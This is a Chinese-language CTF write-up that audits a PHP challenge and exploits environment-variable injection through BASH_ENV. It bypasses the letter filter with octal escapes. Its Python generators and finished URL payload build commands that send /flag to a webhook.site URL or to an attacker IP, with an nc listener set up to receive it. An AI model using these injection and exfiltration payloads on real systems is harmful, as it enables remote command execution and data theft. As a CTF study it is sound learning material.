代码审计:
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){ //$s中如果存在$ptn,则返回false
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) { //过滤= 过滤大小写字母
putenv("{$k}={$v}"); //定义环境变量
}
}
system("bash -c 'imdude'"); //这里执行了imdude,所以我们要对环境变量imdude进行操作
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) { //过滤=
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>
环境变量注入:
使$k=BASH_ENV
$v=【攻击命令,如cat /flag | curl -d @- http://xx.xx.xx.xx:7001(攻击机ip)】
绕过大小写过滤:
在linux中,$'\101' = A,故可以用八进制(即0o101=A)来绕过。
EXP(1):
向指定的 webhook 站点[]发送一个 POST 请求,并上传了一个名为 flag 的文件。
b"curl https://webhook.site/a27433a-afdb-9d9a080beb55 -F flag=@/flag"
这个命令的具体含义如下:
curl: 是一个命令行工具,用于在终端中传输数据,支持多种协议。
https://webhook.site/a278d631-e3e5-433a-afdb-9d9a080beb55: 这是一个 webhook 站点的 URL,其中包含一个唯一的标识符。
-F flag=@/flag: 这部分是命令的参数,其中 -F 表示要发送一个表单(form)数据,flag=@/flag 意味着要上传一个名为 flag 的文件。
from urllib.parse import quote_plus
cmd = b"curl https://webhook.site/a278d63fdb-9d9a080beb55 -F flag=@/flag"
parts = cmd.split(b' ')
cmd = ["$'"+''.join([f'\\{x:03o}' for x in p])+"'" for p in parts]
cmd = ' '.join(cmd)
payload = "$(%s)" % cmd
print(payload)
print(quote_plus(payload))
下载完成后查看里面内容即可,有多种方法:
一,在文件名后面加“.txt”;
二,用sublime打开;
三,.....................
EXP(2):
通过反弹shell的方式;
先在攻击机(自己的服务器)上,输入“nc -lvvp [端口号]”
import string
# cmd = "cat /flag"
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001" #(攻击机ip)
str = ''
for i in cmd:
if i in string.ascii_lowercase:
j = oct(ord(i))[2:]
str += "$'\\"+j+"'"
else:
str+=i
print(str)
再将结果拼接到url上如:
?env[BASH_ENV]=$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001
在攻击机(自己的服务器)上,输入“nc -lvvp [端口号]” 。
如果成功的话就能看到flag。
官方WP:
https://blog.maple3142.net/2022/03/27/line-ctf-2022-writeups/